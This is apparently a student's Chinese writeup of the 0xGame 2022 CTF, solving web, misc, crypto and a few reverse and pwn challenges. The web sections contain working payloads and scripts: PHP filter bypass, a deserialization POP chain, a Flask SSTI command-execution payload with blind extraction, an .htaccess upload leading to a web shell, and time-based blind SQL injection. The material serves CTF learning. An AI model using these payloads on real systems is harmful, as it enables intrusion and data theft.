0xGame 2022 Writeup

南邮新生赛

web 理所当然 ak 了, 不过 java 题学到了很多

misc ak 只坚持到了第三周, 第四周真的做不动了…

crypto 之前从来没接触过, 这次能全部 ak 是我没想到的

pwn 和 re 因为自己不是搞这个方面的, 所以几乎没有做

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011859640.png

访问 /flaggeeee

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011859671.png

提示 local access only

改一下 xff 头

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900295.png

继续访问 /re3l_flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900231.png

cookie 改成 login=1

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900597.png

改成 post 请求

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900479.png

robots.txt 内容为 flag in FFFFl3gggg.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900888.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900189.png

猜一下 login.php

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011900346.png

生成五位数 00000-99999 的字典 然后 intruder 爆破

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901878.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901447.png

密码是 01234

登陆后右键

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901803.png

一眼文件包含

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901871.png

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<?php
error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['param1'];
$b=$_POST['param2'];

$a=preg_replace('/system|eval|preg_replace|create_function|array_map|call_user_func|call_user_func_array|array_filter|usort|uasort|file|content|passthru|exec|shell_exec|popen|proc_open|pcntl_exec|assert/is','',$a);
$b=preg_replace('/cat|tac|tail|nl|more|less|head|flag/is','?Q__Q?',$b);

$a($b);
?>

param1 只 replace 一次, 双写绕过

关键词被过滤用 \ 绕过

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901374.png

关注小绿草信息安全科创实验室喵, 关注小绿草信息安全科创实验室谢谢喵

零宽字符隐写

https://330k.github.io/misc_tools/unicode_steganography.html

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901836.png

VmtaV2IySXhUa2RpUm1oT1ZqTm9jMVJWWkRSTlZuQklZMFZrYkdKVldsbFZNalZQV1ZaYWNXSkdiRlZXVjJoTVdWUktUbVZyTVVWTlJEQTk=

一直 base64 解密后得到 flag

0xGame{Inv1sible_W0rds}

这题问了师傅好几次… 后来做出来的时候才发现垃圾邮件的英文不是 junk mail, 是 spam (悲)

key.txt 解密过程: aaencode -> brainfuck -> base64 x2 -> base58 (string) -> base32

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P@33w0rD

flag.txt 里面是邮件的内容

一开始还以为是用单词或者标点符号来隐写, 试了 ctf wp writeup misc 邮件 junk mail txt 加解密 隐写 等等关键字一直没搜到…

最后师傅给的 hint 是搜索整个邮件内容

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042001037.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042007511.png

https://www.spammimic.com/decode.shtml

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042007527.png

之后填入邮件内容和 key 就能得到 flag 了

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210042008686.png

0xGame{KFC_CRAZY_THURSDAY_V_ME_50!!!!}

直接 wireshark 打开然后搜一下 0xGame 关键字

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901326.png

username 和 password 拼起来得到 flag

%7b%7d 转换成 {}

参考文章 http://www.fzwjscj.xyz/index.php/archives/23/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011901109.png

图像用 stegsolve 处理一下, 看的清楚点

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902821.png

明文是 0XGAMESTR4NGESCR1PT

flag 是 0xGame{STR4NGESCR1PT}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902572.png

用 ARCHPR 爆破

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902577.png

解压后打开

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902270.png

zip 伪加密

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902912.png

解压时出现 crc 错误, 不用管

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011902693.png

掩码爆破

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903819.png

解压后打开

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903991.png

另外还有一个已知的 lookatme.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903980.png

先把 txt 压缩

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903430.png

对比后发现 crc 一致

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903828.png

猜测为 zip 明文攻击

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903074.png

保存为 4444_decrypted.zip 解压后打开 flag.txt

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011903747.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904093.png

飞机编号是 B-7631

图片右键查看属性

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904327.png

时间是 2022/7/14 17:29

然后去 flightaware 上搜一下

注册账户之后可以免费看近期三个月的记录

https://zh.flightaware.com/live/flight/B7631/history/320

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904435.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904429.png

SZX 是机场简称, 城市简称是 SZ

构造 flag 如下

0xGame{LYG_SZX_DZ6242}

学长好帅

简单 rsa

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p = 59
q = 97
e = 37
c = 3738
 
请在求出私钥d,明文m后将连接值的md5值(32位小写)包上flag提交
 
如求出d = 12,m = 34,则flag为0xGame{md5(1234)}

参考文章 https://cloud.tencent.com/developer/article/1541523

求 d

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import gmpy2

p = gmpy2.mpz(59)
q = gmpy2.mpz(97)
e = gmpy2.mpz(37)
phi = (p - 1) * (q - 1)
d = gmpy2.invert(e, phi)
print(d)

解出来 d=301

然后通过 pow 求明文

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p = 59
q = 97
c = 3738
d = 301
n = p * q
m = pow(c, d, n)
print(m)

解出来 m=5499

flag 就是 0xGame{md5(3015499)}, 即 0xGame{d42b66fc047f9e80922f1a2b11e589c0}

核心价值观编码 http://www.hiencode.com/cvencode.html

阴阳怪气编码 https://jiji.pro/yygq.js/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904092.png

摩斯电码

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011904727.png

%u7b%u7d 就是 {}

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0w_1qin4wn_d_fr{dl1c_jylpdna3gcy}x1s3j

看了下发现 } 的位置不对, 可能是栅栏密码

试出来 key=5 的时候整体结构是对的

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011905593.png

flag 是 0xGame 开头, 然后开头第一位有 0, 但是其它地方字母都是乱的, 猜测是凯撒移位, 因为凯撒移位只改变字母不改变数字

rot15 时得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011905461.png

提交的时候记得把前面的 g 改成大写, 然后括号内的字母全部大写

维吉尼亚密码爆破

https://www.guballa.de/vigenere-solver

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011906052.png

0xGame{V19eneRe_E4sy}

参考文章 https://ctf-wiki.org/crypto/asymmetric/rsa/rsa_module_attack/

猜测可以分解 n 得到 p q

去 factordb 在线分解

http://factordb.com/index.php?query=177726843226591634556244030635816071333

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210041854400.png

之后求 d

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import gmpy2

p = gmpy2.mpz(9735957770491659841)
q = gmpy2.mpz(18254685097880877413)
n = p * q

e = 0x10001

c = 49549088434190402681586345733724247189

phi = (p - 1) * (q - 1)

d = gmpy2.invert(e, phi)

print(d)

d = 174553972839251472293209725962845994753

然后求 m

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from Crypto.Util.number import *

p =9735957770491659841
q = 18254685097880877413
n = p * q

e = 0x10001
c = 49549088434190402681586345733724247189
d = 174553972839251472293209725962845994753

m = pow(c, d, n)
print(long_to_bytes(m))

we1come_t0_rs4

flag 即 0xGame{we1come_t0_rs4}

仿射密码

参考文章 https://ctf-wiki.org/crypto/classical/monoalphabetic/

逆元不知道咋求… 不过密文肯定是 flag, 包含数字字母下划线还有大括号

然后看了下脚本发现加密方式和 a b 都已知, 干脆直接爆破了

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import random
import gmpy2

with open("cipher.txt", "rb") as f:
    cipher = f.read()

a = 27
b = 121

flag = ''

for i in cipher:
    for j in range(32, 128):
        k = (j * a + b) % 128
        if i == k:
            flag += chr(j)
            print(flag)
            break

跑出来的结果是 0xGame{U_kn0w|@^1ot_4bout~Pyth0n}

ida F5

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011906872.png

0xGame{be9d9fee-7d45-4a3e-a105-802b3221665d}

用的 telnet, nc 好像有点问题

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210011906983.png

flag{nc_flag}

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<?php
highlight_file(__FILE__);

class Apple{
    public  $var;

    public function __wakeup(){
        $this->var->value;
    }

    public function __invoke(){
        echo $this->var;
    }
}

class Banana{
    public $source="pop.php";
    public $str;

    public function __toString(){
        echo file_get_contents($this->source);
        return 'do u like pop?';
    }
 
    public function __construct(){
        $this->source = "flag in flag.php";
        echo 123;
    }
}

class Cherry{
    public $p;
    public $o;

    public function __construct(){
        $this->o = 'pop song';
    }

    public function __get($key){
        ($this->p)();
    }
}


if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}

简单 pop 链构造, 入口点是 Apple 类的 __wakeup

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<?php

class Apple{
    public  $var;
}

class Banana{
    public $source;
    public $str;
}

class Cherry{
    public $p;
    public $o;

}

$d = new Banana();
$d->source = 'flag.php';

$c = new Apple();
$c->var = $d;

$b = new Cherry();
$b->p = $c;

$a = new Apple();
$a->var = $b;

echo serialize($a);
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http://47.96.3.142:8123/?pop=O:5:"Apple":1:{s:3:"var";O:6:"Cherry":2:{s:1:"p";O:5:"Apple":1:{s:3:"var";O:6:"Banana":2:{s:6:"source";s:8:"flag.php";s:3:"str";N;}}s:1:"o";N;}}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081409864.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081410712.png

输入框有 ssti

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081410621.png

不过输入 {{ config }} 会被过滤, 显示 what’s this?

而直接输入 config 会原样输出

试了下 {% %} 能用, 可以配合 if 语句块来实现盲注

测试的时候发现 class import popen 这几个关键字都被过滤了

绕过 class 关键字可以换成 flask 内置的函数 url_for

import 用字符串拼接绕过, 但是 + 也被过滤了…

然后又找到了另一种方式, 两个字符串连在一起会自动拼接成一个字符串

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081415550.png

popen 绕过方法同理, 用 __dict__ 来调用, 然后把方括号里的 popen 拆分成两个连在一起的字符串

构造 payload 如下

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{%if url_for.__globals__['__builtins__']['__imp''ort__']('os').__dict__['pop''en']('cat /flag').read()[0]=='0'%}testxz{%endif%}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081428129.png

python 脚本

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import requests

url = 'http://47.96.3.142:8888'

flag = ''

for i in range(9999):
    for s in range(32,128):
        payload = r"{%if url_for.__globals__['__builtins__']['__imp''ort__']('os').__dict__['pop''en']('cat /flag').read()[" + str(i) + r"]=='" + chr(s) + r"'%}testxz{%endif%}"
        res = requests.post(url,data={'formula':payload})
        #print('testing',chr(s))
        if 'testxz' in res.text:
            flag += chr(s)
            print(flag)
            break

flag 0xGame{ssti_great_1nter3sting}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081434207.png

保留文件名上传

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081435148.png

apache 的服务器, 很容易想到 .htaccess

但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加入 GIF89A 的话访问整个 images 目录下的文件都会爆 500, 估计是语法错误

.htaccess 通过 # 来注释, 后来了解到还有 \x00

想着能不能找到其它不影响 .htaccess 语法的 mine 头来上传文件, 然后找到了这篇文章

https://blog.csdn.net/qq_45570082/article/details/108910162

xmb 图片的文件头如下

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#define width 1337
#define height 1337

刚好符合 .htaccess 注释的语法

于是上传之

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#define width 1337
#define height 1337
<FilesMatch "xz.xz">
SetHandler  application/x-httpd-php
</FilesMatch>

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081439917.png

再上传 xz.xz

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081440663.png

蚁剑连接得到 flag

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081441061.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081442006.png

username 处存在注入

过滤了 * and or = substr union group_concat, 剩下的懒得写了…

- 拼接绕过, 当然也能用 ^

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081444369.png

空格也被过滤了, 用 %0a 绕过, 如果用括号的话不好构造 limit 语句…

payload 如下

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admin'-if(mid((select	table_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema%0alike%0adatabase()%0alimit%0a0,1),1,1)%0alike%0a'%',sleep(2),0)#

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210081446687.png

python 脚本

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import requests
import time

url = 'http://47.96.3.142:8101/login.php'

dicts = r'{}0123456789qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'

flag = ''

for i in range(1,99999):
    for s in dicts:
        #payload = "admin'-if(mid((select\ttable_name\tfrom\tinformation_schema.tables\twhere\ttable_schema\tlike\tdatabase()\tlimit\t2,1),{},1)\tlike\tbinary\t'{}',sleep(1),0)#".format(i,s)
        payload = "admin'-if(mid((select\tffflllaaag\tfrom\tsecret),{},1)\tlike\tbinary\t'{}',sleep(1),0)#".format(i,s)
        start_time = time.time()
        print(s)
        res = requests.post(url,data={'username':payload,'password':'123'},allow_redirects=False)
        stop_time = time.time()
        if 'Illegal Character Dectected' in res.text:
            print('filtered!!!')
            exit()
        if stop_time - start_time >= 1:
            flag += s
            print('FOUND!!!',flag)
            break

写脚本的时候发现用 %0a 一直跑不出来, 换成 %250a 也一样, 估计是 requests 自动解码… 因为赶着抢一血就临时换成了 \t

跑出来有 0xgame 和 secret 两个表, secret 表中有 ssseccrett 和 ffflllaaag 两个列

查 flag 时每次跑到 _ 字符都会 sleep… 索性就把 _ 去掉了, 改成自己看

辨别方式也很简单, 如果 dicts 里面的内容都被跑了一遍就说明这个位置有 _

flag 0xGame{Y0u_kn0w_the_sq1_Inj3ction}

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091316808.png

后面三个 txt 很小, 想到了 crc 爆破

自己写的脚本速度感人… 于是找了一个现成的工具

https://github.com/theonlypwner/crc32

pas.txt swo.txt rd.txt 的 crc 如下

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1e73ceca
002df600
0e201f1c

跑的时候前面记得加上 0x

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091319128.png

找到符合语义的那一串, 即 You_K

其余同理, 最终 password 如下

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You_Know_CRC32

解压后打开 flag.txt

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🙃💵🌿🎤🚪🌏🐎🥋🚫😆✅🚫😁ℹ🎈🚨🌊📮😁🔬🌏🍵🚫✖🎅🕹🐘🎈⌨😇🚹☂🚰☀🌿😎😂🐅💵☀💵⌨🤣🚫😇😎☀🤣🚫😀😆🚪😂🦓🌏ℹ🎤🍴👉🎈😇✉⏩🏹🔪🎤🏎🚹🐍⏩💵🎤🚨🚫⌨🎤🌪👑📮✉✉ℹ🍌💵📂😀🗒🗒

emoji 加密, 有 base100 codemoji emoji-aes 三种

前两个都失败了, 试到最后一个的时候发现需要密码, 猜测就是刚刚的 You_Know_CRC32

https://aghorler.github.io/emoji-aes/

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091325929.png

在线 pyc 逆向 https://tool.lu/pyc/

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import base64

def encode(str):
    fflag = '0'
    for i in range(1, len(flag)):
        x = ord(flag[i]) ^ ord(flag[i - 1])
        x += 30
        fflag += chr(x)
    
    return base64.b64encode(fflag)

flag = open('flag.txt').read()
enc = encode(flag)
print enc

自身异或加密, 跟 moectf 有一题差不多

解密脚本如下

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content = base64.b64decode(open('out.txt','rb').read())
m = '0'

for i in range(1,len(content)):
    c = content[i] - 30
    m += chr(c ^ ord(m[i-1]))
    print(m)

flag 0xGame{afd9461d-35fb-4e9b-9716-aa83b3ed681a}

wav 后缀, 文件有 14m, 以为另外又塞了些东西, 用 foremost 没出结果, binwalk 提取出来了个 yaffs 文件系统, 然后通过工具解包一直失败…

网上找了一会 wav 隐写的相关工具, 发现了 SilentEye 和 DeepSound

第二个工具找了好久, 最后在这篇文章里找到的

https://chowdera.com/2022/03/202203170451107840.html

首先用 SilentEye 查看隐写内容

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091925324.png

密码是 15gmzzgnscltcltdz, 一开始不知道有什么用, 后来找到 DeepSound 的时候才发现可以查看隐写的文件

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091926368.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091926500.png

flag.txt 内容 0xGame{5d4d7df0-6de7-4897-adee-e4b3828978f8}

用 stegsolve 打开, 在 blue plane 0 中看到 password

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091835671.png

password 为 0xGameyyds

根据题目描述 R!G!B! 猜测是 lsb 隐写, 不过在 data extract 里面没看出来什么…

网上搜了一下 png 隐写, 出来这篇文章

https://zhuanlan.zhihu.com/p/23890677

参考工具 https://github.com/livz/cloacked-pixel

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091838947.png

flag 0xGame{Hidd3n_1n_Pic}

hint 为 zip传统的加密方式真的安全吗

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091955204.png

想起来之前明文攻击的条件也是要求压缩方法为 Store

参考文章 https://www.freebuf.com/articles/network/255145.html

原理就是利用通用的 png 文件头作为部分明文来破解 zip 压缩包

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echo 89504E470D0A1A0A0000000D49484452 | xxd -r -ps > png_header
bkcrack -C flag.zip -c flag.png -p png_header -o 0

跑出来三个 key 之后再解密一下

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bkcrack -C flag.zip -c flag.png -k ab7d8bcd 6ce75578 4de51c12 -d flag.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210091958584.png

flag.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210092001413.png

用 binwalk stegsolve 过了一遍, 没发现什么东西

于是研究了下 png 隐写的相关文章

https://blog.csdn.net/qq_42880719/article/details/114825260

看到一个修改长宽的技巧, 抱着试一试的态度改了 hex 结果发现成功得到了 flag…

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210092004670.png

https://exp10it-1252109039.cos.ap-shanghai.myqcloud.com/img/202210092004022.png

equation.py

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import random

x = [random.getrandbits(32) for _ in range(32)]

# flag为0xGame{md5(sum(x))}

for i in range(32):
    ans = 0
    rand = [random.getrandbits(32) for _ in range(32)]
    for j in range(31):
        ans += x[j] * rand[j]
        print("x{} * {} + ".format(j, rand[j]), end="")
    ans += x[31] * rand[31]
    print("x{} * {} = ".format(31, rand[31]), end="")
    print(ans)

output.txt

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x0 * 2905774839 + x1 * 937692645 + x2 * 2277996359 + x3 * 1574938713 + x4 * 825047075 + x5 * 1179013397 + x6 * 2366890081 + x7 * 3219529440 + x8 * 2414190453 + x9 * 3590757506 + x10 * 3909323650 + x11 * 2183139299 + x12 * 1579902159 + x13 * 3343902869 + x14 * 896068862 + x15 * 309758299 + x16 * 901531607 + x17 * 291291156 + x18 * 2546709881 + x19 * 4221036639 + x20 * 3505720382 + x21 * 3684857351 + x22 * 2022652786 + x23 * 451227475 + x24 * 3741251238 + x25 * 3997408590 + x26 * 2256908756 + x27 * 1334843411 + x28 * 4020591098 + x29 * 2114708609 + x30 * 79808585 + x31 * 2974805697 == 153629905098136685045,
x0 * 633779458 + x1 * 760323050 + x2 * 3524136923 + x3 * 3404961172 + x4 * 3497719477 + x5 * 2036024833 + x6 * 2807481062 + x7 * 3579571169 + x8 * 1182247335 + x9 * 1473703468 + x10 * 1485764830 + x11 * 2344149245 + x12 * 2230867977 + x13 * 451381281 + x14 * 2729949187 + x15 * 1329480928 + x16 * 3036372799 + x17 * 1916707506 + x18 * 1408308101 + x19 * 3414819940 + x20 * 54157456 + x21 * 4081087004 + x22 * 81644901 + x23 * 1046457653 + x24 * 2786986628 + x25 * 3293369990 + x26 * 2547544255 + x27 * 1408426127 + x28 * 1700843152 + x29 * 4028585224 + x30 * 3882199080 + x31 * 4040732992 == 145118376676814378151,
x0 * 1158359552 + x1 * 952473112 + x2 * 2469876874 + x3 * 1877922146 + x4 * 2681754384 + x5 * 441645489 + x6 * 1451082555 + x7 * 1282675826 + x8 * 3628741269 + x9 * 1538367477 + x10 * 4256030398 + x11 * 1551122815 + x12 * 2403304542 + x13 * 1198458285 + x14 * 2596160415 + x15 * 3952532206 + x16 * 1372310735 + x17 * 3735073437 + x18 * 686367724 + x19 * 158982013 + x20 * 1901981688 + x21 * 2045511526 + x22 * 1553141146 + x23 * 574875471 + x24 * 3881193717 + x25 * 281974061 + x26 * 3401680368 + x27 * 1071341816 + x28 * 3856818199 + x29 * 1543037830 + x30 * 2600897676 + x31 * 886793613 == 125136025093969380235,
x0 * 3369804515 + x1 * 1388562875 + x2 * 2620029184 + x3 * 3424874122 + x4 * 2155070368 + x5 * 515581101 + x6 * 3448760104 + x7 * 1571958247 + x8 * 1344632695 + x9 * 3418066835 + x10 * 1055412931 + x11 * 2599736936 + x12 * 1682298601 + x13 * 3888231955 + x14 * 869443630 + x15 * 46802084 + x16 * 1434071143 + x17 * 537999569 + x18 * 3062214567 + x19 * 638588405 + x20 * 1418519591 + x21 * 921851625 + x22 * 1349011403 + x23 * 2504652024 + x24 * 1128409974 + x25 * 825642445 + x26 * 2980848614 + x27 * 3181702547 + x28 * 1665015471 + x29 * 1655900518 + x30 * 1737483004 + x31 * 4058968130 == 123888756483831750489,
x0 * 2992139966 + x1 * 3421209457 + x2 * 1518056473 + x3 * 2934632866 + x4 * 474750728 + x5 * 1888643463 + x6 * 715133241 + x7 * 270269278 + x8 * 3453364309 + x9 * 2375169043 + x10 * 475758667 + x11 * 1550808440 + x12 * 870004412 + x13 * 2502311422 + x14 * 2802347419 + x15 * 3316934713 + x16 * 3072815429 + x17 * 1955447632 + x18 * 957468873 + x19 * 2003306503 + x20 * 2991846576 + x21 * 1052908526 + x22 * 852939089 + x23 * 2001031122 + x24 * 1763364759 + x25 * 318730434 + x26 * 2271963088 + x27 * 3167595340 + x28 * 186065313 + x29 * 3124233301 + x30 * 1558676638 + x31 * 229698311 == 136466432408823062440,
x0 * 880826917 + x1 * 2298353220 + x2 * 13972845 + x3 * 2112342331 + x4 * 520363735 + x5 * 1669676202 + x6 * 2365942382 + x7 * 2454166357 + x8 * 86684296 + x9 * 4180997737 + x10 * 2651800933 + x11 * 3387852337 + x12 * 3569081096 + x13 * 412248780 + x14 * 2622374412 + x15 * 4004737267 + x16 * 3937062327 + x17 * 2122230024 + x18 * 508412261 + x19 * 925290104 + x20 * 2297262392 + x21 * 2615036583 + x22 * 956831662 + x23 * 2377853219 + x24 * 2129964002 + x25 * 711861720 + x26 * 1072575240 + x27 * 290600530 + x28 * 3557322638 + x29 * 1937025602 + x30 * 3942606369 + x31 * 848634526 == 135520634374716138253,
x0 * 1667423245 + x1 * 3205256744 + x2 * 4218058651 + x3 * 4247786171 + x4 * 2902884888 + x5 * 1776716207 + x6 * 57317883 + x7 * 2810845945 + x8 * 4056618058 + x9 * 2442806270 + x10 * 189251210 + x11 * 175454169 + x12 * 1563217423 + x13 * 1584552187 + x14 * 4066113642 + x15 * 2678017765 + x16 * 1370397535 + x17 * 1796075905 + x18 * 3507132543 + x19 * 2375242245 + x20 * 1599167786 + x21 * 3353660587 + x22 * 2792999728 + x23 * 2513875102 + x24 * 3349313992 + x25 * 561973312 + x26 * 131599779 + x27 * 1780045940 + x28 * 181893476 + x29 * 1515423140 + x30 * 1695557088 + x31 * 1103274089 == 140870834889282733787,
x0 * 2924743894 + x1 * 2747685610 + x2 * 703249631 + x3 * 2970835309 + x4 * 1709917538 + x5 * 2326038184 + x6 * 3850628518 + x7 * 1598044999 + x8 * 1230534089 + x9 * 2628050448 + x10 * 560260479 + x11 * 2827469192 + x12 * 1261659178 + x13 * 3473946812 + x14 * 2627319447 + x15 * 2783861426 + x16 * 1814833846 + x17 * 3969833864 + x18 * 4048131215 + x19 * 3849752757 + x20 * 3942527132 + x21 * 3218422785 + x22 * 1568409347 + x23 * 3959466355 + x24 * 2784582743 + x25 * 2996021365 + x26 * 1058302993 + x27 * 360568252 + x28 * 4120475817 + x29 * 612600724 + x30 * 3312442340 + x31 * 2780876242 == 162850348028726438719,
x0 * 1616016662 + x1 * 3654249690 + x2 * 137386530 + x3 * 1430840003 + x4 * 413249034 + x5 * 512756864 + x6 * 4178200879 + x7 * 2530110366 + x8 * 2920225584 + x9 * 3182457452 + x10 * 1705355659 + x11 * 2866496197 + x12 * 4233807177 + x13 * 1885804809 + x14 * 1332101007 + x15 * 511987054 + x16 * 3709126878 + x17 * 1639834513 + x18 * 2331999251 + x19 * 3942139119 + x20 * 3452087731 + x21 * 3059112759 + x22 * 3445769324 + x23 * 128282305 + x24 * 895514710 + x25 * 3973866022 + x26 * 3074206386 + x27 * 2793860989 + x28 * 4208156768 + x29 * 1868752777 + x30 * 1128655300 + x31 * 4224750762 == 173549152139361191182,
x0 * 1507751682 + x1 * 1846572164 + x2 * 2041260497 + x3 * 1124204604 + x4 * 803283004 + x5 * 2783064398 + x6 * 3894553701 + x7 * 1968388652 + x8 * 4001422379 + x9 * 3448449208 + x10 * 3520475047 + x11 * 2550138883 + x12 * 2389210163 + x13 * 126106238 + x14 * 2662172629 + x15 * 4261498421 + x16 * 3044233456 + x17 * 3644778899 + x18 * 870298634 + x19 * 2695223165 + x20 * 1650836877 + x21 * 1258482236 + x22 * 1063099544 + x23 * 3764404492 + x24 * 3967617774 + x25 * 1965577715 + x26 * 2446428246 + x27 * 1505068720 + x28 * 3981692241 + x29 * 3408565448 + x30 * 2781597153 + x31 * 3092390689 == 180393478529485883021,
x0 * 351479342 + x1 * 503524980 + x2 * 1716292026 + x3 * 938189610 + x4 * 3362208287 + x5 * 280354280 + x6 * 2300444836 + x7 * 1468215142 + x8 * 3180887405 + x9 * 2532072979 + x10 * 1652875734 + x11 * 2254901041 + x12 * 259860786 + x13 * 3263784945 + x14 * 483273054 + x15 * 3166504792 + x16 * 914039776 + x17 * 4266192190 + x18 * 1042961273 + x19 * 181336626 + x20 * 669694284 + x21 * 2453653976 + x22 * 1389685958 + x23 * 2284711690 + x24 * 3317847597 + x25 * 2440906291 + x26 * 3042784363 + x27 * 1482188614 + x28 * 2369361990 + x29 * 324426473 + x30 * 1763743995 + x31 * 3934897747 == 117888147215252945859,
x0 * 725022521 + x1 * 938746075 + x2 * 3633113215 + x3 * 4185273958 + x4 * 2800996696 + x5 * 2631729929 + x6 * 2692051893 + x7 * 3433724886 + x8 * 1616354254 + x9 * 3607913532 + x10 * 529812087 + x11 * 2791241832 + x12 * 1737462722 + x13 * 3641411598 + x14 * 1924632655 + x15 * 1616473457 + x16 * 3637886658 + x17 * 1858291856 + x18 * 1078390594 + x19 * 1887741658 + x20 * 2265350830 + x21 * 2676979191 + x22 * 1970124470 + x23 * 664078020 + x24 * 1808737559 + x25 * 2298779415 + x26 * 1388943648 + x27 * 4204667059 + x28 * 1073622448 + x29 * 3443318903 + x30 * 2171824304 + x31 * 1868209557 == 158683608359654647072,
x0 * 650341618 + x1 * 2935581294 + x2 * 2644385881 + x3 * 1535307611 + x4 * 1016591324 + x5 * 815158333 + x6 * 1448798160 + x7 * 2641332727 + x8 * 270686394 + x9 * 2219311183 + x10 * 2967122700 + x11 * 3770872278 + x12 * 3541712142 + x13 * 3868017641 + x14 * 3555690826 + x15 * 802632927 + x16 * 3680835829 + x17 * 682966028 + x18 * 1194680003 + x19 * 894072837 + x20 * 1878364070 + x21 * 1331140614 + x22 * 965880101 + x23 * 1138566143 + x24 * 701720887 + x25 * 2742737986 + x26 * 3045938774 + x27 * 147247760 + x28 * 4094028215 + x29 * 204167974 + x30 * 3200135673 + x31 * 27026610 == 119553298425410260470,
x0 * 3264996808 + x1 * 2331472878 + x2 * 2992654618 + x3 * 1337387837 + x4 * 3068330431 + x5 * 1897134387 + x6 * 2124686830 + x7 * 433732986 + x8 * 560852756 + x9 * 569523526 + x10 * 1635729292 + x11 * 3899076223 + x12 * 2599433468 + x13 * 2525044550 + x14 * 3233393817 + x15 * 1990368374 + x16 * 8003701 + x17 * 1649870439 + x18 * 429808458 + x19 * 2788914187 + x20 * 3183669167 + x21 * 4029467918 + x22 * 1823857717 + x23 * 3493646301 + x24 * 1619264007 + x25 * 1485689524 + x26 * 1136226577 + x27 * 2403749534 + x28 * 4188551850 + x29 * 19971766 + x30 * 3514606027 + x31 * 2659730746 == 129283893341689770873,
